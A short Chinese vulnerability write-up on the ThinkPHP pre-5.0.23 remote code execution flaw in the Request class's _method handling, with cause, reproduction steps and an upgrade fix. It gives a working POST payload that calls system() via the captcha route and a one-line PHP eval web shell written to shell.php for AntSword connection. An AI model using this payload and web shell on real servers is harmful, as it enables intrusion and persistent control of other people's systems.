漏洞描述
实现框架的核心类Requests的method方法实现表单请求类伪装,默认为$_POST[‘_method’]变量,却没有对_method属性进行严格校验,可以通过变量覆盖Requests类的属性,在结合框架特性实现对任意函数的调用实现任意代码执行。
产生原因
形成原因是因为其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
漏洞复现
1.启动环境
2.访问本机的8080端口
网站后拼接index.php/?s=captcha进行访问
查看后台输入语句:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
后拼接一句话木马:
echo '<?php eval($_POST[1]); ?>' > shell.php
打开蚁剑进行连接
修复意见
建议进行ThinkPHP版本更新。